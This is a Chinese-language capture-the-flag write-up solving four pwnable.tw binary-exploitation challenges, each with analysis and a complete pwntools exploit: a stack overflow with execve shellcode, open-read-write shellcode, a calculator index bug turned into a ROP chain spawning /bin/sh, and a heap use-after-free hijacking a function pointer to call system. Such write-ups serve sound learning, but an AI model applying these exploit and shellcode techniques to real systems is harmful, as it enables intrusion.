前言
最近开始在pwnable.tw平台上做题,记录自己的解题过程。
start
32位程序,什么保护都没开
读汇编可知,系统调用write和read
存在一个栈溢出
思路大概是先利用溢出返回write泄露栈地址,然后rop+shellcode拿下。
exp:
from pwn import*
context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'
#p = process('./start')
p = remote('chall.pwnable.tw',10000)
shellcode = "x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80"
#gdb.attach(p)
payload = 'a'*0x14+p32(0x08048087)
#payload = shellcode
#gdb.attach(p)
p.send(payload)
p.recvn(0x14)
stack = u32(p.recv(4))
log.success('leak stack:'+hex(stack))
payload = 'a'*0x14+p32(stack+0x14)+shellcode
p.send(payload)
p.interactive()
orw
开了沙盒,但是可以orw。
直接写shellcode去读flag就可以了,flag在/home/orw/flag目录下,就是汇编有点难写(我太菜了)
exp:
from pwn import*
context.log_level = 'debug'
p = remote('chall.pwnable.tw',10001)
payload = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;int 0x80;"
payload += "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"
payload += "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"
p.recvuntil('Give my your shellcode:')
payload = asm(payload)
p.send(payload)
p.interactive()
calc
先分析这个计算器的算法
pool[0]储存参与运算数字的个数 pool[1]储存参与运算的第一个数 pool[2]储存参与运算的第二个数 ......
例如 1+2 ,此时pool[0] = 2
eval函数:计算表达式
加法运算:
_pool[*_pool - 1] += _pool[*_pool];
运算过程:
pool[pool[0]-1] += pool[pool[0]]
pool[1] += pool[2]
pool[pool[0]-1]储存了运算的结果
在这个例子中pool[1] = 3
但是会出现一个问题
假如表达式为:+100
pool[0] = 1 ; pool[1] = 100
pool[pool[0]-1] += pool[1]
pool[0] = 100
这样就可以控制pool[0]的值
就可以对栈上的内存进行读写
说完了漏洞,接下来开始构造我们的rop链
程序为静态编译,没有导入system或是exceve
于是我们的思路转到系统调用上,用int 80h 进入一个系统调用
eax=11
ebx= “/bin/sh”
ecx=0
edx=0
int 80h
==> exceve("/bin/sh",0,0)
pool[0]距离栈底0x5A0 => 1440 1440/4 = 360
pool[361]即是eip的位置
接下来就是泄露/bin/sh的地址,因为/bin/sh是我们写到栈上的。
ROP链的构造 :pop_eax_ret + 11 + pop_edx_ret + 0 + pop_ecx pop_ebx_ret + 0 +&(/bin/sh)+ int 80h+ /bin + /shx00
在本地gdb调试中,ebp处储存了ebp+0x20的地址,我们的/bin/sh布置在ebp+0x24的位置,所以可以通过泄露ebp的值来确定/bin/sh的地址
完整exp:
from pwn import*
proc = './calc'
ip = 'chall.pwnable.tw'
port = 10100
#p = process(proc)
p = remote(ip,port)
context.log_level = "Debug"
p.recvuntil('=== Welcome to SECPROG calculator ===
')
off = 361
p.sendline("+"+str(360))
ebp = int(p.recvline(),10) # leak ebp
bin_sh = ebp + 4
'''
0x0805c34b : pop eax ; ret
0x080701d1 : pop ecx ; pop ebx ; ret
0x080701aa : pop edx ; ret
0x08049a21 : int 0x80
'''
#ROP_chain
payload = [0x0805c34b,0xb,0x080701aa,0,0x080701d1,0,bin_sh,0x08049a21,0x6e69622f,0x0068732f]
for i in range(len(payload)):
p.sendline("+"+str(off+i))
num = int(p.recvline())
diff = payload[i] - num
if diff > 0 :
p.sendline("+"+str(off+i)+"+"+str(diff))
else:
p.sendline("+"+str(off+i)+str(diff))
p.recvline()
p.sendline()
p.interactive()
hacknote
程序分析
add:会先申请一个0x8的chunk,chunk里面存了打印函数的函数指针和申请到堆块的地址,然后把chunk存在heaplist里面
delete: 存在uaf
print: 调用函数指针打印堆块内容
大致思路,先unsorted bin泄露libc地址,然后利用uaf去打函数指针,先申请两个块,再释放两个块,最后add(0X8)
最后print,执行system('sh')
在print的时候
(*ptr[v1])(ptr[v1]);
ptr[v1]会是system函数的地址,用;绕过最后加上sh就行
exp:
from pwn import*
#context.log_level = 'debug'
elf = ELF('./hacknote')
libc = ELF('./libc_32.so.6')
ip = 'chall.pwnable.tw'
port = 10102
#p = process('./hacknote')
p = remote(ip,port)
def cmd(idx):
p.sendlineafter('Your choice :',str(idx))
def add(size,content):
cmd(1)
p.sendlineafter('Note size :',str(size))
p.sendafter('Content :',content)
def delete(idx):
cmd(2)
p.sendlineafter("Index :",str(idx))
def show(idx):
cmd(3)
p.sendlineafter("Index :",str(idx))
def exploit():
add(0x98,'a')#0
add(0x18,'/bin/shx00')#1
delete(0)
add(0x10,'xb0')#2
show(2)
leak = u32(p.recv(4)) - 328
log.info('malloc_hook:'+hex(leak))
lbase = leak - libc.sym['__malloc_hook']
system = lbase + libc.sym['system']
log.info('libc:'+hex(lbase))
add(0x10,'c')#3
delete(2)
delete(3)
add(0x8,p32(system)+';shx00')#4
# gdb.attach(p)
show(0)
p.interactive()
if __name__ == '__main__':
exploit()